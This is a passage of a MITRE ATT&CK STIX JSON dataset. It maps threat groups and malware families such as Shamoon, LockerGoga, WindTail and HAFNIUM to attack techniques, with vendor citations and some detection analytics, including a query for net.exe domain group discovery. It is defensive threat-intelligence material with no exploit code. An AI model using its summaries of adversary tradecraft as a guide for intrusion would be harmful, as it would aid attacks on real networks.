"2019-03-22T19:57:37.314Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to download files, including DGet (a similar tool to wget).(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT KEYMARBLE Aug 2018", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}], "modified": "2020-03-20T02:14:26.687Z", "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7ce8b92-ada4-4e8f-b073-5a497de7156a", "type": "relationship", "created": "2020-12-29T18:30:35.705Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2020-12-29T18:30:35.705Z", "description": "[Spark](https://attack.mitre.org/software/S0543) has exfiltrated data over the C2 channel.(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d7cfd2b5-c297-4000-b179-aca649a05f65", "created": "2022-10-13T16:21:20.923Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:21:20.923Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has deployed payloads that use Windows API calls on a compromised host.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7d25f15-7451-4092-acb5-1a22095bc3cd", "type": "relationship", "created": "2019-03-25T12:30:41.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2019-04-19T19:04:56.034Z", "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)", "relationship_type": "uses", "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Del", "description": "Microsoft. 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Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware). The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CopyFromScreen .NET", "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.", "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"}, {"source_name": "Antiquated Mac Malware", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d80207ae-0b3c-4f5f-ac89-9caa8c2c9beb", "type": "relationship", "created": "2021-01-25T13:58:25.268Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}], "modified": "2021-01-25T13:58:25.268Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) packs collected data into a password protected archive.(Citation: Securelist Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d802c2ab-4fc1-45ba-832a-1d7852d2934d", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:24:22.666Z", "description": "Monitor newly executed processes that may attempt to find domain-level groups and permission settings.\n\nFor Linux, auditing frameworks that support alerting on process creation, including the audit daemon (auditd), can be used to alert on invocations of commands such as <code>ldapsearch</code>.\n\nFor MacOS, utilities that work in concert with Apple\u2019s Endpoint Security Framework such as Process Monitor can be used to track usage of commands such as <code>dscacheutil -q group</code>.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process access) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nAnalytic 1 - Local Permission Group Discovery - Net\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= \"net.exe\" OR Image= \"net1.exe\") AND CommandLine=\"*group*/domain*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d809d062-9fe3-4058-b12b-56ba196a24db", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d80a85fa-5261-4274-b50e-bb82461562af", "created": "2022-03-29T17:24:30.591Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-18T13:50:55.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d80bbf0c-2fb4-4272-a878-65662452d3ca", "type": "relationship", "created": "2019-04-16T19:00:49.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/", "source_name": "Unit42 LockerGoga 2019"}], "modified": "2020-03-20T18:56:22.144Z", "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.(Citation: Unit42 LockerGoga 2019)", "relationship_type": "uses", "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d80c873c-922e-4c19-b84b-e5a3eb56f5b7", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d80d5ba4-22ea-4ef4-94e6-f9fbaa3ca641", "type": "relationship", "created": "2021-02-09T18:36:22.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-02-09T18:36:22.174Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) has commonly set file and path attributes to hidden.(Citation: CheckPoint Volatile Cedar March 2015)", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d810e14a-e78b-4e65-842b-c1b7b727750a", "type": "relationship", "created": "2021-06-21T15:42:04.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-21T15:42:04.445Z", "description": "(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d811c17d-5ed4-4218-b1c9-280e332e30e2", "type": "relationship", "created": "2021-07-27T15:05:31.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-08-31T17:00:18.600Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Tor](https://attack.mitre.org/software/S0183) and a variety of commercial VPN services to route brute force authentication attempts.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d811dad0-a813-4293-81fc-55e8ea6a54be", "type": "relationship", "created": "2020-06-04T20:14:50.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail2 jan 2019", "url": "https://objective-see.com/blog/blog_0x3D.html", "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}], "modified": "2020-06-25T18:24:00.683Z", "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.(Citation: objective-see windtail2 jan 2019)", "relationship_type": "uses", "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d814a304-f957-4e7c-9890-30a6d5be39bd", "created": "2021-03-04T14:49:27.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Volexity Exchange Marauder March 2021", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T21:22:57.464Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has created domain accounts.(Citation: Volexity Exchange Marauder March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d81de27d-b64a-4a45-b3b5-7c2d5403632e", "created": "2023-04-07T23:01:29.164Z", "revoked": false, "external_references": [{"source_name": "Costa AvosLocker May 2022", "description": "Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.", "url": "https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}, {"source_name": "Trend Micro AvosLocker Apr 2022", "description": "Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T23:01:29.164Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) can restart a compromised machine in safe mode.(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Costa AvosLocker May 2022) ", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d826904c-7853-4f85-a5e4-948b21ae374c", "type": "relationship", "created": "2020-05-22T20:27:31.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015"}], "modified": "2020-05-22T20:27:31.551Z", "description": "[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to discover information about the compromised host.(Citation: Symantec Chafer Dec 2015)", "relationship_type": "uses", "source_ref": "malware--a705b085-1eae-455e-8f4d-842483d814eb", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d83274f8-ac2b-4416-9fae-97f569dbcef2", "created": "2022-09-30T20:21:03.201Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T19:52:48.473Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) has been injected directly into a running process, including `explorer.exe`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.169Z", "description": "As part of the data reconnaissance phase, [Proxysvc](https://attack.mitre.org/software/S0238) grabs the system time to send back to the control server.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d843431d-2d98-46c8-b0dd-76427b266597", "type": "relationship", "created": "2021-09-21T15:45:10.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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Retrieved September 13, 2019."}], "modified": "2019-10-07T15:16:12.143Z", "description": "[Machete](https://attack.mitre.org/software/S0409) collects the hostname of the target computer.(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d844fdcc-a0d1-46b4-a4dc-f56063ef9584", "type": "relationship", "created": "2019-04-17T16:58:29.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ APT10 Dec 2018", "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Amadey](https://attack.mitre.org/software/S1025) has decoded antivirus name strings.(Citation: Korean FSI TA505 2020)", "modified": "2022-07-14T17:49:33.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d850b604-f451-4f58-aa8e-6fb2e2a307d0", "type": "relationship", "created": "2021-05-21T20:19:59.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Exchange Mar 2021", "url": "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", "description": "Faou, M., Tartare, M., Dupuy, T. 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Retrieved May 21, 2021."}], "modified": "2021-05-21T20:19:59.930Z", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has used PowerShell to download additional payloads.(Citation: ESET Exchange Mar 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8557c07-240a-4dbb-b372-1111a05a5303", "type": "relationship", "created": "2020-06-10T14:44:23.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. 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Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:31:00.915Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) has copied captured files and keystrokes to the `%TEMP%` directory of compromised hosts.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, 